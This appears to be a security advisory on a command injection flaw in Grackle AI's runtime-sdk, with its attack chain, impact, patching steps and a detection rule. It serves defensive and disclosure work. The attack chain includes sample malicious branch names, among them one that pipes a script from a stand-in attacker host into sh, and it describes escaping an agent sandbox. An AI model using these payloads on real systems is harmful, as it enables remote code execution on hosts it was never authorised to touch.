Grackle AI Runtime-SDK RCE via Git Worktree Command Injection
A command injection vulnerability (GHSA-vv65-f55v-xm6g) exists in Grackle AI's `@grackle-ai/runtime-sdk` and `@grackle-ai/powerline` components, allowing an attacker to achieve remote code execution as the PowerLine user on provisioned environments by injecting commands into unsanitized Git task branch names via the `SpawnSession` RPC.
A critical command injection vulnerability (GHSA-vv65-f55v-xm6g) affects Grackle AI's @grackle-ai/runtime-sdk and @grackle-ai/powerline components, specifically versions 0.132.1 and earlier. The flaw stems from the NODE_GIT_EXECUTOR utilizing shell:true when executing git worktree operations, combined with the unsanitized branch name flowing from the SpawnSession gRPC request into the command arguments. This allows a malicious or compromised agent, or any client able to initiate a task via the SpawnSession RPC, to inject arbitrary shell commands. These commands are then executed with the privileges of the PowerLine user on provisioned environments, including SSH hosts, Docker containers, and Codespaces, effectively enabling remote code execution and escaping the agent's sandbox. A secondary, less impactful, argument injection vulnerability also exists due to a missing -- separator.
Attack Chain
- An attacker gains the ability to make calls to the PowerLine
SpawnSessiongRPC RPC. This could be through a compromised agent within the victim's environment, a malicious internal actor, or by exploiting another external vulnerability that exposes this RPC. - The attacker crafts a Git branch name containing shell metacharacters and arbitrary commands, for example,
x;curl http://attacker/x.sh|sh;#or$(touch /tmp/pwned). - The attacker sends a
SpawnSessiongRPC request to the PowerLine server, providing the crafted malicious branch name as a parameter within the request payload. - The vulnerable
ensureWorktreefunction, located inpackages/runtime-sdk/src/worktree.ts, prepares to execute agit worktree addcommand using theNODE_GIT_EXECUTOR.execfunction. - Due to the
shell:trueoption being implicitly passed toNODE_GIT_EXECUTOR.exec, Node.js concatenates thegitcommand and its arguments (including the malicious branch name) into a single string. - This concatenated string is then passed to
sh -c, which interprets the shell metacharacters and executes the attacker's injected commands embedded within the branch name. - The injected commands (e.g.,
curlto download and execute a malicious script,touchfor arbitrary file creation) are executed by thesh -cprocess with the privileges of the PowerLine user. - The attacker successfully achieves remote code execution, gaining control over the targeted provisioned environment (SSH host, Docker container, or Codespace) as the PowerLine user.
Impact
Successful exploitation of this vulnerability leads to remote code execution (RCE) with the privileges of the PowerLine user on any provisioned environment where the Grackle AI runtime is deployed. This allows attackers to escape the agent sandbox, gain full control over the affected host (be it an SSH host, Docker container, or Codespace), and potentially access sensitive data, escalate privileges, or establish persistence within the victim's infrastructure. While no specific victim count or targeted sectors are mentioned, any organization utilizing Grackle AI's runtime-sdk in their development or deployment pipelines is at risk.
Recommendation
- Prioritize patching the affected Grackle AI components to address GHSA-vv65-f55v-xm6g by updating
@grackle-ai/runtime-sdkand@grackle-ai/powerlinebeyond version0.132.1. - Deploy the Sigma rule "Detect GHSA-vv65-f55v-xm6g Grackle AI RCE via Git Worktree Injection" to your SIEM and tune for your environment to identify potential exploitation attempts.
- Review the remediation steps for GHSA-vv65-f55v-xm6g which include removing
shell:truefromNODE_GIT_EXECUTORand adding--separators forgit worktree addinvocations. - Implement defense-in-depth measures by validating the
branchparameter at the gRPC boundary ingrpc-server.tsto reject names containing shell metacharacters or invalid Git ref rules.
Detection coverage 1
Detect GHSA-vv65-f55v-xm6g Grackle AI RCE via Git Worktree Injection
highDetects exploitation of GHSA-vv65-f55v-xm6g in Grackle AI's runtime-sdk, where shell metacharacters in Git branch names lead to remote code execution via `sh -c`.
Detection queries are available on the platform. Get full rules →